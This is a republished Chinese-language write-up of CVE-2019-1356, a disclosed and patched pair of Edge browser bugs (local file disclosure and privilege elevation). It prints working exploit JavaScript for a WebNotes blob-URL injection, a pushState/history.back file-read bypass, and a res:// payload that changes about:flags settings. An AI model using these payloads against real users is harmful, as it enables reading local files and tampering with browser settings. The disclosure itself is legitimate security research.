热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

CVE20191356:Edge浏览器LFD及EoP漏洞分析

 0x00 前言在本文中,我将与大家分享Edge(EdgeHTML)浏览器的几个bug,将这些bug结合起来后,可以实现两种不同的攻击效果:LDF(本地文件包含)及EoP(权限提升),后者可以用来修改

 

0x00 前言

在本文中,我将与大家分享Edge(EdgeHTML)浏览器的几个bug,将这些bug结合起来后,可以实现两种不同的攻击效果:LDF(本地文件包含)及EoP(权限提升),后者可以用来修改about:flags中的任何具体设置。

 

0x01 从HTTP到FILE上下文

攻击场景的第一个步骤就是从受限的HTTP/Web上下文逃逸到其他上下文环境中(如本地文件)。在实际环境中,我们无法简单诱导用户直接打开已下载的HTML文件,这并不是常见的用户交互行为。

因此我们需要使用bug,不依赖异常的用户交互。在理想情况下,我们希望不涉及用户交互就能完成任务,这种情况下我使用了WebNotes中的一个bug,虽然此时还是有许多用户交互,但由于WebNotes是Edge浏览器的一个组件,经常被用户使用,因此这种交互至少看上去不是特别“异常”。

之前我反馈过WebNotes中的一个bug,现在该bug已经被修复。幸运的是,我又找到了另一个bug,可以用来在本地文件上下文中执行Javascript。

WebNotes的操作过程如下图所示:

如上图所示,WebNote可以捕捉页面截图,也可以在当前页面上绘制图像,得到的WebNote可以保存成本地HTML文件。

因此,当用户打开已保存的WebNote,实际上打开的是一个本地HTML文件。我们需要以某种方式将自己的代码注入已保存的WebNote文件中,以便后续利用。

在上图中,大家可能注意到当前标签页会转到特定的一个WebNote标签页。我们来看看是否能引用这类标签页,以此为利用点。

事实证明,我们的确保留着对WebNote标签页的引用,因此我们可以通过各种方式来影响该标签页。

与之前的研究一样,我们可以从blob: URI scheme开始。之前我一直在Edge中碰到一个bug,可以将顶部frame导航到某个blob: URL,这是Edge出于某些原因明确禁止的一种行为。因此这里我使用这个bug将WebNote标签页导航到某个blob URL,出乎我意料的是,WebNotes没有遵循正常的操作过程,而是会将已创建的blob HTML内容保存在我们已保存的某个WebNote中。

如下图所示,我使用如下代码诱骗Edge将顶部frame导航到某个blob URL:

打断WebNotes正常操作过程,注入Javascript的具体方法如下:

1、用户点击任意位置,打开新标签页,保存对该标签页的引用。

window.Onclick=e=>{
fer=open('/1.html','qab');
}

2、新标签页中包含一个页面,可以通过上图所示的代码将顶部frame导航至某个blob URI。

3、指导用户创建WebNote,我们可以通过onblur事件处理器(handler)来探测用户行为,handler会通过postMessage向原始页面发送消息,表示用户正在创建WebNote。

a=URL.createObjectURL(new Blob(['Create a WebNote and start drawing something.'],{type:'text/html'}));
history.replaceState('','',a.split('/')[3]);
location.protocol='blob:http:';

4、一旦用户创建完WebNote,主页面会(使用步骤1保存的引用)再次将标签页重定向到第三个页面。

function step(){
if(go){
setInterval(function(){
fer.close();
qmsg.innerHTML='Now open the saved WebNote.';
},2500);
}else{
setTimeout(function(){
fer=open('/2.html','qab');
},2500);
go=true;
}
}
window.addEventListener("message", step, false);

5、第三个页面会在WebNote标签页中加载,立刻将自身变成一个新的Blob URL,此时就包含我们注入的HTML。

a=URL.createObjectURL(new Blob([`Now save this WebNote`],{type:'text/html'}));
history.replaceState('','',a.split('/')[3]);
location.protocol='blob:http:';

6、随后指导用户保存WebNote,这里Edge不会执行正常操作,保存屏幕截图,而是会保存我们构造的Blob内容。

7、一旦用户打开新创建的WebNote,我们注入的代码就会在file: URI scheme中执行。

现在我们已实现上下文逃逸,那么在这个FILE:上下文中,我们能执行哪些操作?

 

0x02 绕过文件读取限制

当涉及到本地文件上下文时,磁盘上的WebNote HTML文件位置属于比较特殊的情况。大家可以看到,如果我们使用Edge打开本地HTML文件,那么该文件就可以访问原始文件目录之外的其他文件。然而,WebNote HTML文件位于Edge的AppData目录中,该目录中也包含一些临时数据(另外打印预览文档也位于该目录中)。

Edge不允许位于AppData目录中的HTML文档访问其他路径。该目录与“Downloads”目录类似,在这些目录中打开的HTML文件无法访问工作目录之外的数据。举个例子:

C:\Users\Q\Downloads\malice.html无法访问C:\a\secret.txtC:\Users\Q\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\User\Default\WebNotes\malice.html无法访问C:\a\secret.txt,然而C:\Users\Q\projects\mywebsite\createdByMe.html可以访问C:\a\secret.txt

根据我的猜测,如果HTML文件直接来自于互联网,那么与正常用户创建的文件相比,Edge会将该文件当成权限较低的内容。这种机制有点类似适用于Word/Excel文件的安全性。

现在不幸的是,我们注入的HTML位于受限文件上下文中。因此我们需要完成另一个逃逸任务,幸运的是这次任务比前面那一次要简单得多。首先我注意到浏览器并没有限制replaceState/pushState函数,单页面web应用通常会使用该函数来模拟网站导航行为。我在file: URI scheme内使用该函数,就可以修改HTML文档的路径。然而单单这样操作依然不够,Edge比较机智,不会被这种技巧糊弄,因此我需要稍加创新。

文档源已在其他地方设置,我在修改URL时并没有修改这个值。因此我只要找到办法欺骗Edge,使其认为打开的HTML文件位于其他位置,就能绕过各种限制。具体实现代码如下:

setTimeout(function(){
history.pushState('','','file:///C:/a/fictional-non-existent.html')
},500);
setTimeout(function(){
document.write("aaaaa")
history.pushState('','','file:///C:/a/q.html');
history.back();
},1500);

演示动图如下所示:

该过程工作原理如下:

1、首先使用pushState函数将URL修改为某个虚假的、不存在HTML文件,该文件与我们的目标文件位于同一个目录中。

2、pushState插入导航历史记录,而replaceState替换当前已查看的历史页面,这个操作非常重要。

3、然后这里我使用了document.write函数,我希望能导航回该页面,查看之前写入的HTML。据我所知,这种方法仅适用于这种特殊的HTML插入方式。

4、然后执行第二次pushState,这一次将当前URL修改为目标文件位置。

5、执行history.back(),以便返回之前创建的document.write值。这一次Edge会错误地认为这是真实存在的HTML文件(实际上该文件并不存在)。

6、最后尝试读取目标文件,大功告成。

 

0x03 进一步提升权限

前面介绍的导航技巧同样可以用来修改Edge浏览器about:flags页面中的任何设置,这是因为file:上下文可以导航至res: URL。我们可以使用前面的技巧,将这种导航技术插入res:上下文中。

我使用的代码如下所示:

var qpay=escape`history.replaceState("","","res://edgehtml.dll/flags.htm");
setTimeout(function(){document.write('');
history.pushState('','','res://apds.dll/REDIRECT.HTML?target=Javascript:123');history.back();},333);`;
location="res://apds.dll/REDIRECT.HTML?target=Javascript:${qpay}";

具体操作如下:

1、构造JS payload,然后导航至res://apds.dll/REDIRECT.HTML?target=Javascript:{payload},这里我借鉴了Lokihardt之前研究的针对Edge的利用技术。

2、payload同样利用了我们前面讨论的导航bug来提升权限,并执行top.external.SetExperimentalFlag(/F12ContextMenuEntryPoints/.source, false),修改about:flags中的某个设置值。

3、完成提权任务。

 

0x04 PoC及演示视频

现在将前面的bug结合起来使用。

首先是结合本地文件包含bug:

然后是用来修改设置的提权bug:

大家可以访问此处下载我们发送给微软的PoC源码。

 

0x05 参考资料

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1356


推荐阅读
  • 本文探讨了使用JavaScript在不同页面间传递参数的技术方法。具体而言,从a.html页面跳转至b.html时,如何携带参数并使b.html替代当前页面显示,而非新开窗口。文中详细介绍了实现这一功能的代码及注释,帮助开发者更好地理解和应用该技术。 ... [详细]
  • 本文总结了JavaScript的核心知识点和实用技巧,涵盖了变量声明、DOM操作、事件处理等重要方面。例如,通过`event.srcElement`获取触发事件的元素,并使用`alert`显示其HTML结构;利用`innerText`和`innerHTML`属性分别设置和获取文本内容及HTML内容。此外,还介绍了如何在表单中动态生成和操作``元素,以便更好地处理用户输入。这些技巧对于提升前端开发效率和代码质量具有重要意义。 ... [详细]
  • javascript分页类支持页码格式
    前端时间因为项目需要,要对一个产品下所有的附属图片进行分页显示,没考虑ajax一张张请求,所以干脆一次性全部把图片out,然 ... [详细]
  • 在PHP中如何正确调用JavaScript变量及定义PHP变量的方法详解 ... [详细]
  • 技术分享:使用 Flask、AngularJS 和 Jinja2 构建高效前后端交互系统
    技术分享:使用 Flask、AngularJS 和 Jinja2 构建高效前后端交互系统 ... [详细]
  • 本文介绍了如何利用Struts1框架构建一个简易的四则运算计算器。通过采用DispatchAction来处理不同类型的计算请求,并使用动态Form来优化开发流程,确保代码的简洁性和可维护性。同时,系统提供了用户友好的错误提示,以增强用户体验。 ... [详细]
  • 在 Axublog 1.1.0 版本的 `c_login.php` 文件中发现了一个严重的 SQL 注入漏洞。该漏洞允许攻击者通过操纵登录请求中的参数,注入恶意 SQL 代码,从而可能获取敏感信息或对数据库进行未授权操作。建议用户尽快更新到最新版本并采取相应的安全措施以防止潜在的风险。 ... [详细]
  • 解决Bootstrap DataTable Ajax请求重复问题
    在最近的一个项目中,我们使用了JQuery DataTable进行数据展示,虽然使用起来非常方便,但在测试过程中发现了一个问题:当查询条件改变时,有时查询结果的数据不正确。通过FireBug调试发现,点击搜索按钮时,会发送两次Ajax请求,一次是原条件的请求,一次是新条件的请求。 ... [详细]
  • 本文介绍了如何利用HTTP隧道技术在受限网络环境中绕过IDS和防火墙等安全设备,实现RDP端口的暴力破解攻击。文章详细描述了部署过程、攻击实施及流量分析,旨在提升网络安全意识。 ... [详细]
  • 在JavaWeb开发中,文件上传是一个常见的需求。无论是通过表单还是其他方式上传文件,都必须使用POST请求。前端部分通常采用HTML表单来实现文件选择和提交功能。后端则利用Apache Commons FileUpload库来处理上传的文件,该库提供了强大的文件解析和存储能力,能够高效地处理各种文件类型。此外,为了提高系统的安全性和稳定性,还需要对上传文件的大小、格式等进行严格的校验和限制。 ... [详细]
  • 在 JavaScript 中,浮点数的除法运算常常会出现精度问题。本文介绍了一种方法,通过自定义函数来精确控制除法运算结果的小数位数,确保计算结果的准确性。该方法不仅适用于除法,还可以扩展到其他浮点数运算,有效避免了 JavaScript 在处理浮点数时常见的精度误差。 ... [详细]
  • C++ 异步编程中获取线程执行结果的方法与技巧及其在前端开发中的应用探讨
    本文探讨了C++异步编程中获取线程执行结果的方法与技巧,并深入分析了这些技术在前端开发中的应用。通过对比不同的异步编程模型,本文详细介绍了如何高效地处理多线程任务,确保程序的稳定性和性能。同时,文章还结合实际案例,展示了这些方法在前端异步编程中的具体实现和优化策略。 ... [详细]
  • 本文全面解析了JavaScript中的DOM操作,并提供了详细的实践指南。DOM节点(Node)通常代表一个标签、文本或HTML属性,每个节点都具有一个nodeType属性,用于标识其类型。文章深入探讨了DOM节点的创建、查询、修改和删除等操作,结合实际案例,帮助读者更好地理解和掌握DOM编程技术。 ... [详细]
  • 本文深入探讨了Ajax的工作机制及其在现代Web开发中的应用。Ajax作为一种异步通信技术,改变了传统的客户端与服务器直接交互的模式。通过引入Ajax,客户端与服务器之间的通信变得更加高效和灵活。文章详细分析了Ajax的核心原理,包括XMLHttpRequest对象的使用、数据传输格式(如JSON和XML)以及事件处理机制。此外,还介绍了Ajax在提升用户体验、实现动态页面更新等方面的具体应用,并讨论了其在当前Web开发中的重要性和未来发展趋势。 ... [详细]
  • 近期,针对Axis2默认凭据漏洞的攻击案例在安全社区引起了广泛关注。这些攻击通常利用Axis2的默认用户名和密码进行渗透测试,技术手段相对固定。本文在综合分析多个案例的基础上,详细探讨了该漏洞的安全风险,并提出了有效的防范措施,以帮助企业和开发者加强Web服务的安全防护。 ... [详细]
author-avatar
森南有鹿63N
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有